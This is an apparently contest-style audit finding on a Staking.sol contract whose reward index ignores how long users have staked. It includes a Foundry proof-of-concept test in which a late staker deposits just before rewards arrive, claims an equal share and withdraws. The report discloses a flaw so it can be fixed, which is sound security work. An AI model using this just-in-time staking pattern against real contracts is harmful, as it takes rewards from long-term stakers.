Summary
The Staking contract (Staking.sol) is vulnerable to an Unfair Reward Distribution issue, which results in an inequitable distribution of rewards for stake token holders.
Vulnerability Details
The vulnerability is caused by the lack of time constraints in reward share calculation within the update function. This allows malicious users to quickly stake, claim rewards, and withdraw, gaining the same benefits as those who staked for a more extended period.
function update() public {
uint256 totalSupply = TKN.balanceOf(address(this));
if (totalSupply > 0) {
uint256 _balance = WETH.balanceOf(address(this));
if (_balance > balance) {
uint256 _diff = _balance - balance;
if (_diff > 0) {
uint256 _ratio = _diff * 1e18 / totalSupply;
if (_ratio > 0) {
index = index + _ratio;
balance = _balance;
}
}
}
}
}
Impact
The vulnerability leads to an unfair reward distribution system, as users who stake for longer periods receive the same rewards as those who stake for shorter durations. This disincentivizes users from keeping their tokens staked for extended periods and encourages frequent staking and withdrawal to maximize rewards. As a result, the protocol experiences WETH losses due to frequent withdrawals and fails to attract long-term commitment from users.
POC
This POC demonstrates how staker2, who joins later, would be able to claim the same rewards as staker1can claim the same rewards as staker1, who staked much earlier, leading to an unfair reward distribution scenario.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Staking.sol";
import {TERC20} from "./Lender.t.sol";
contract StakingTest is Test {
Staking public stake;
TERC20 public WETH;
TERC20 public TKN;
address public staker1 = address(0x1);
address public staker2 = address(0x2);
address public protocol = address(0x3);
function setUp() public {
WETH = new TERC20();
TKN = new TERC20();
stake = new Staking(address(TKN), address(WETH));
WETH.mint(protocol, 1000e18);
}
function test_frontrunReward() public {
TKN.mint(staker1, 1e18);
TKN.mint(staker2, 1e18);
uint8 initialBlock = 100;
vm.roll(initialBlock);
vm.startPrank(staker1);
TKN.approve(address(stake), 1e18);
stake.deposit(1e18);
assertEq(stake.balances(staker1), 1e18, "User 1 failed to stake");
vm.stopPrank();
vm.roll(initialBlock + 1000);
vm.startPrank(staker2);
TKN.approve(address(stake), 1e18);
stake.deposit(1e18);
assertEq(stake.balances(staker2), 1e18, "User 2 failed to stake");
vm.stopPrank();
vm.startPrank(protocol);
WETH.transfer(address(stake), 1e18);
stake.update();
assertEq(stake.balance(), 1e18, "WETH is not supplied");
vm.stopPrank();
vm.startPrank(staker2);
stake.claim();
uint256 staker2Balance = stake.balances(staker2);
stake.withdraw(staker2Balance);
assertEq(TKN.balanceOf(staker2), staker2Balance, "Withdraw failed");
vm.stopPrank();
vm.startPrank(staker1);
stake.claim();
vm.stopPrank();
assertTrue(WETH.balanceOf(staker1) > 0, "Reward1 not claimed");
assertTrue(WETH.balanceOf(staker2) > 0, "Reward2 not claimed");
assertEq(WETH.balanceOf(staker1), WETH.balanceOf(staker2), "Reward1 & Reward2 not equal");
}
}
Tools Used
VsCode
Recommendations
To address the unfair reward distribution, the contract should encourage users to lock up their funds for a certain period. This can be achieved by calculating the reward rate (rewardRate) based on the ratio and reward duration. Users' indexes should be calculated proportionally to their staking period, rewarding those who stake for longer periods accordingly.